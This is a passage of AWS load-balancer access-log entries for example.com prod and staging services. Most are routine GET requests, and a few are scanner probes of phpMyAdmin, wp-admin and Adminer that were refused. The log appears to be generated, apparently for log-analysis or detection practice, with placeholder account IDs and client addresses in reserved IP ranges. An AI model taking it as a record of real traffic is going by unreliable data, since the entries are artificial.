"Root=1-6723db3b-57cbad5c25ec43c98db070b2" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:11.587572Z "forward" "-" "-" "10.0.93.173:443" "200" "-" "-" -http 2024-11-01T02:32:13.257133Z staging-alb 119.37.178.179:59126 181.51.229.202:80 0.069790 0.422972 0.026647 404 404 745 7235 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db3d-dbbfafafd4854f4798f36991" "staging-alb.example.com" "-" 8 2024-11-01T02:32:13.257133Z "forward" "-" "-" "181.51.229.202:80" "404" "-" "-" -http 2024-11-01T02:32:13.869974Z staging-alb 141.97.89.144:39144 101.217.222.84:8080 0.104645 0.221368 0.018833 302 302 771 1158 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db3d-91c9997c595b47ae8fabf3e5" "staging-alb.example.com" "-" 5 2024-11-01T02:32:13.869974Z "forward" "-" "-" "101.217.222.84:8080" "302" "-" "-" -http 2024-11-01T02:32:14.113487Z staging-alb 112.129.68.162:46837 105.61.65.135:80 0.072857 0.617510 0.110032 200 200 868 7240 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db3e-f7c4d4fd4165445eace4c5f3" "staging-alb.example.com" "-" 10 2024-11-01T02:32:14.113487Z "forward" "-" "-" "105.61.65.135:80" "200" "-" "-" -https 2024-11-01T02:32:15.470615Z prod-web-alb 180.225.200.141:16039 10.0.212.29:443 0.074996 0.230336 0.037454 301 301 733 7164 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db3f-deb0cfdb269a46ebb67d292a" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:15.470615Z "forward" "-" "-" "10.0.212.29:443" "301" "-" "-" -https 2024-11-01T02:32:17.306890Z staging-alb 58.250.172.37:38824 180.120.167.173:80 0.104875 0.180995 0.029950 200 200 277 1467 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db41-b325a8be21114e75aa611c61" "staging-alb.example.com" "-" 8 2024-11-01T02:32:17.306890Z "forward" "-" "-" "180.120.167.173:80" "200" "-" "-" -https 2024-11-01T02:32:19.033938Z staging-alb 10.204.252.211:42718 105.201.197.132:80 0.111635 0.744386 0.083198 302 302 593 4147 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db43-d11ffe9d8279474b9c935805" "staging-alb.example.com" "-" 4 2024-11-01T02:32:19.033938Z "forward" "-" "-" "105.201.197.132:80" "302" "-" "-" -https 2024-11-01T02:32:19.944161Z prod-api-alb 176.91.247.177:19809 10.0.218.156:443 0.085440 0.480289 0.054273 302 302 140 3276 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db43-775bc602b3b74ce6ac51747e" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:19.944161Z "forward" "-" "-" "10.0.218.156:443" "302" "-" "-" -https 2024-11-01T02:32:21.494821Z prod-api-alb 114.213.68.188:41726 10.0.228.9:443 0.084184 0.236411 0.094118 301 301 980 9218 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db45-c4dea797ec0448d4a9699939" "prod-api-alb.example.com" "-" 3 2024-11-01T02:32:21.494821Z "forward" "-" "-" "10.0.228.9:443" "301" "-" "-" -https 2024-11-01T02:32:22.351280Z prod-api-alb 171.2.179.177:46633 10.0.252.208:443 0.000932 0.041416 0.086985 200 200 21 1491 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db46-74f363ccce5741bf90cd208e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:32:22.351280Z "forward" "-" "-" "10.0.252.208:443" "200" "-" "-" -https 2024-11-01T02:32:24.033918Z prod-web-alb 129.29.228.62:24889 10.0.50.42:443 0.053265 0.185489 0.070374 200 200 438 6664 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db48-a125dab967c74ad4a7cd8ac5" "prod-web-alb.example.com" "-" 2 2024-11-01T02:32:24.033918Z "forward" "-" "-" "10.0.50.42:443" "200" "-" "-" -https 2024-11-01T02:32:24.953106Z staging-alb 5.12.204.219:44736 192.150.186.167:443 0.024617 0.698110 0.096791 200 200 909 6866 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db48-186f4f42693d4d0baa4b36fb" "staging-alb.example.com" "-" 8 2024-11-01T02:32:24.953106Z "forward" "-" "-" "192.150.186.167:443" "200" "-" "-" -https 2024-11-01T02:32:26.725155Z prod-web-alb 249.158.21.65:34788 10.0.176.245:443 0.063320 0.241048 0.034855 302 302 379 11595 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db4a-e4f2b11e645249abb97b79de" "prod-web-alb.example.com" "-" 2 2024-11-01T02:32:26.725155Z "forward" "-" "-" "10.0.176.245:443" "302" "-" "-" -https 2024-11-01T02:32:27.248275Z prod-web-alb 240.243.132.23:35395 10.0.117.101:443 0.092858 0.116180 0.000973 404 404 547 10974 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db4b-4a4205ed99b74085b03af7c1" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:27.248275Z "forward" "-" "-" "10.0.117.101:443" "404" "-" "-" -https 2024-11-01T02:32:28.693327Z prod-web-alb 104.154.114.117:50122 10.0.69.150:443 0.024266 0.252249 0.031656 200 200 825 3782 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db4c-e623e6b8e505410899ffc623" "prod-web-alb.example.com" "-" 8 2024-11-01T02:32:28.693327Z "forward" "-" "-" "10.0.69.150:443" "200" "-" "-" -https 2024-11-01T02:32:29.350875Z prod-api-alb 98.141.53.168:63647 10.0.242.205:443 0.010461 0.327920 0.056770 302 302 363 6505 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db4d-a389ec4aee264d9094770fc6" "prod-api-alb.example.com" "-" 9 2024-11-01T02:32:29.350875Z "forward" "-" "-" "10.0.242.205:443" "302" "-" "-" -https 2024-11-01T02:32:31.315409Z prod-web-alb 1.154.15.45:36713 10.0.242.99:443 0.044925 0.082945 0.092400 302 302 155 8675 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db4f-1b769a3e660d4624a389572a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:32:31.315409Z "forward" "-" "-" "10.0.242.99:443" "302" "-" "-" -https 2024-11-01T02:32:32.127974Z prod-web-alb 157.9.174.148:62848 10.0.253.251:443 0.094859 0.064828 0.037861 200 200 167 4936 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db50-2a1e86943edf4ddeaf7acfea" "prod-web-alb.example.com" "-" 2 2024-11-01T02:32:32.127974Z "forward" "-" "-" "10.0.253.251:443" "200" "-" "-" -https 2024-11-01T02:32:32.517457Z prod-api-alb 201.47.8.53:44007 10.0.50.32:443 0.088794 0.353017 0.096661 404 404 937 7108 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db50-83e32f9559234b538ca09319" "prod-api-alb.example.com" "-" 6 2024-11-01T02:32:32.517457Z "forward" "-" "-" "10.0.50.32:443" "404" "-" "-" -https 2024-11-01T02:32:32.819606Z prod-api-alb 105.249.223.78:46843 10.0.166.31:443 0.009701 0.357476 0.027396 200 200 766 12074 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db50-1f4c9cd3f78944cfad39377b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:32.819606Z "forward" "-" "-" "10.0.166.31:443" "200" "-" "-" -http 2024-11-01T02:32:34.673765Z staging-alb 223.108.226.134:54657 189.165.181.20:80 0.147242 0.732565 0.012231 302 302 227 4923 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db52-f47356cc12db4dd48436576b" "staging-alb.example.com" "-" 6 2024-11-01T02:32:34.673765Z "forward" "-" "-" "189.165.181.20:80" "302" "-" "-" -https 2024-11-01T02:32:36.250167Z prod-web-alb 140.222.100.158:48865 10.0.232.100:443 0.086670 0.035910 0.070648 404 404 624 1180 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db54-6409549a88d74df29b02db96" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:36.250167Z "forward" "-" "-" "10.0.232.100:443" "404" "-" "-" -https 2024-11-01T02:32:37.547807Z prod-web-alb 85.81.141.12:32561 10.0.170.111:443 0.017178 0.128891 0.084216 200 200 228 8276 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db55-7a9717838b6e41d3837b4aec" "prod-web-alb.example.com" "-" 7 2024-11-01T02:32:37.547807Z "forward" "-" "-" "10.0.170.111:443" "200" "-" "-" -https 2024-11-01T02:32:38.547377Z prod-api-alb 65.8.13.36:34778 10.0.70.165:443 0.071400 0.488704 0.077343 200 200 18 2419 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db56-475c34b9083d4230afd93e71" "prod-api-alb.example.com" "-" 6 2024-11-01T02:32:38.547377Z "forward" "-" "-" "10.0.70.165:443" "200" "-" "-" -https 2024-11-01T02:32:39.954664Z prod-web-alb 216.217.52.201:30207 10.0.44.83:443 0.073925 0.086752 0.084391 404 404 734 4730 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db57-3328ef74c765424fbb176df3" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:39.954664Z "forward" "-" "-" "10.0.44.83:443" "404" "-" "-" -http 2024-11-01T02:32:41.047198Z staging-alb 206.222.217.1:50755 231.248.61.49:443 0.111539 0.071023 0.031750 302 302 978 11433 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db59-7e7be475398c48db8af0f649" "staging-alb.example.com" "-" 0 2024-11-01T02:32:41.047198Z "forward" "-" "-" "231.248.61.49:443" "302" "-" "-" -https 2024-11-01T02:32:41.475086Z prod-api-alb 173.163.142.254:33731 10.0.191.125:443 0.019078 0.200098 0.012761 404 404 253 14010 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db59-1f83e46d18f941dcb94d197e" "prod-api-alb.example.com" "-" 10 2024-11-01T02:32:41.475086Z "forward" "-" "-" "10.0.191.125:443" "404" "-" "-" -https 2024-11-01T02:32:42.798255Z prod-api-alb 229.161.23.34:44733 10.0.132.126:443 0.091768 0.118060 0.012230 404 404 874 5407 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db5a-44fd0952c394490fb426cc70" "prod-api-alb.example.com" "-" 4 2024-11-01T02:32:42.798255Z "forward" "-" "-" "10.0.132.126:443" "404" "-" "-" -https 2024-11-01T02:32:44.602736Z prod-web-alb 72.7.228.159:32231 10.0.115.247:443 0.042671 0.477773 0.034786 302 302 611 4520 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db5c-e7ca2b8635c84e908df5993d" "prod-web-alb.example.com" "-" 8 2024-11-01T02:32:44.602736Z "forward" "-" "-" "10.0.115.247:443" "302" "-" "-" -https 2024-11-01T02:32:44.834287Z prod-api-alb 86.246.232.24:20260 10.0.174.107:443 0.056496 0.237558 0.058178 301 301 377 12855 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db5c-c29eb119490849d3b3a61412" "prod-api-alb.example.com" "-" 9 2024-11-01T02:32:44.834287Z "forward" "-" "-" "10.0.174.107:443" "301" "-" "-" -http 2024-11-01T02:32:45.026284Z staging-alb 4.164.124.152:55997 39.62.166.199:8080 0.101401 0.667592 0.059668 404 404 398 4431 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db5d-46a83eb666124d41a3e262b2" "staging-alb.example.com" "-" 4 2024-11-01T02:32:45.026284Z "forward" "-" "-" "39.62.166.199:8080" "404" "-" "-" -http 2024-11-01T02:32:45.749196Z staging-alb 181.187.187.90:11571 189.118.149.206:80 0.065877 0.007026 0.131528 404 404 770 14999 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db5d-4ecf2b8aa25f4c12b8c7213a" "staging-alb.example.com" "-" 0 2024-11-01T02:32:45.749196Z "forward" "-" "-" "189.118.149.206:80" "404" "-" "-" -http 2024-11-01T02:32:46.398804Z staging-alb 6.88.106.44:37862 56.85.85.79:80 0.146787 0.161795 0.076942 301 301 476 7203 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db5e-7f7f1bce00db4637886876ae" "staging-alb.example.com" "-" 4 2024-11-01T02:32:46.398804Z "forward" "-" "-" "56.85.85.79:80" "301" "-" "-" -https 2024-11-01T02:32:47.950626Z prod-api-alb 63.133.134.50:25977 10.0.114.13:443 0.023963 0.480647 0.080727 302 302 123 1615 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db5f-3dce793d463a4b0ea9531aba" "prod-api-alb.example.com" "-" 0 2024-11-01T02:32:47.950626Z "forward" "-" "-" "10.0.114.13:443" "302" "-" "-" -https 2024-11-01T02:32:48.139574Z prod-web-alb 45.155.205.86:38455 10.0.239.1:443 0.030109 0.119097 0.029400 401 401 994 9590 "POST /phpmyadmin HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db60-81d6d94be16f4f789e1438bc" "-" "-" 9 2024-11-01T02:32:48.139574Z "forward" "-" "-" "10.0.239.1:443" "401" "-" "-" -https 2024-11-01T02:32:48.356436Z staging-alb 238.82.40.150:27515 46.8.123.163:8080 0.026646 0.522568 0.000573 301 301 290 7179 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db60-85aed5425b0c454e9956e512" "staging-alb.example.com" "-" 7 2024-11-01T02:32:48.356436Z "forward" "-" "-" "46.8.123.163:8080" "301" "-" "-" -https 2024-11-01T02:32:48.548861Z prod-api-alb 22.15.6.112:15552 10.0.52.44:443 0.016276 0.042520 0.029121 301 301 888 1107 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db60-0370762a09104f7f8842fa53" "prod-api-alb.example.com" "-" 2 2024-11-01T02:32:48.548861Z "forward" "-" "-" "10.0.52.44:443" "301" "-" "-" -https 2024-11-01T02:32:48.859107Z prod-api-alb 118.226.34.209:37820 10.0.123.40:443 0.055929 0.344809 0.058490 200 200 261 593 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db60-d115a3fa4e20404788ebccd9" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:48.859107Z "forward" "-" "-" "10.0.123.40:443" "200" "-" "-" -https 2024-11-01T02:32:49.274422Z prod-api-alb 254.50.121.89:48315 10.0.100.2:443 0.096606 0.213116 0.008823 404 404 282 11724 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db61-5d0fb383d0ec4c86a968c1b0" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:49.274422Z "forward" "-" "-" "10.0.100.2:443" "404" "-" "-" -https 2024-11-01T02:32:49.541076Z staging-alb 139.251.230.218:25866 228.85.248.179:443 0.129818 0.488526 0.112510 301 301 996 12084 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db61-a8fcffbeb57b42a6a790e89c" "staging-alb.example.com" "-" 1 2024-11-01T02:32:49.541076Z "forward" "-" "-" "228.85.248.179:443" "301" "-" "-" -https 2024-11-01T02:32:49.854111Z prod-api-alb 156.87.246.45:36160 10.0.66.114:443 0.037800 0.018790 0.004864 302 302 826 10822 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db61-3e19f9c075d6498088cfa004" "prod-api-alb.example.com" "-" 7 2024-11-01T02:32:49.854111Z "forward" "-" "-" "10.0.66.114:443" "302" "-" "-" -https 2024-11-01T02:32:50.252715Z staging-alb 25.16.156.126:24782 82.200.195.47:443 0.028082 0.586440 0.085772 200 200 366 8937 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db62-9253399a253f41a4af579353" "staging-alb.example.com" "-" 8 2024-11-01T02:32:50.252715Z "forward" "-" "-" "82.200.195.47:443" "200" "-" "-" -https 2024-11-01T02:32:51.725872Z prod-web-alb 185.181.25.65:39356 10.0.193.238:443 0.025881 0.162913 0.085777 403 403 813 6246 "GET /wp-admin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db63-b453d70d94524322b3cb223d" "-" "-" 4 2024-11-01T02:32:51.725872Z "forward" "-" "-" "10.0.193.238:443" "403" "-" "-" -https 2024-11-01T02:32:53.355478Z staging-alb 193.27.228.118:53798 150.202.68.94:80 0.105904 0.407611 0.107100 403 403 125 10969 "POST /adminer.php HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db65-c65e68766c43408783039e2d" "-" "-" 9 2024-11-01T02:32:53.355478Z "forward" "-" "-" "150.202.68.94:80" "403" "-" "-" -https 2024-11-01T02:32:54.493559Z prod-api-alb 205.141.240.127:15298 10.0.224.138:443 0.024500 0.360874 0.095824 200 200 243 13432 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db66-f5aa2ca93eb94fb6828bb2cf" "prod-api-alb.example.com" "-" 3 2024-11-01T02:32:54.493559Z "forward" "-" "-" "10.0.224.138:443" "200" "-" "-" -https 2024-11-01T02:32:56.316363Z prod-web-alb 193.154.47.195:40917 10.0.157.109:443 0.097411 0.475966 0.008184 200 200 43 8227 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db68-d3768e48d51a4cf39f7c9289" "prod-web-alb.example.com" "-" 5 2024-11-01T02:32:56.316363Z "forward" "-" "-" "10.0.157.109:443" "200" "-" "-" -https 2024-11-01T02:32:57.872762Z prod-api-alb 157.120.4.101:46850 10.0.112.199:443 0.064352 0.361643 0.099553 301 301 849 2365 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db69-8ad0f4b5d23b40b1966ae2ac" "prod-api-alb.example.com" "-" 3 2024-11-01T02:32:57.872762Z "forward" "-" "-" "10.0.112.199:443" "301" "-" "-" -https 2024-11-01T02:32:58.552114Z prod-api-alb 74.197.1.63:10781 10.0.217.37:443 0.041801 0.078196 0.013810 200 200 584 4812 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 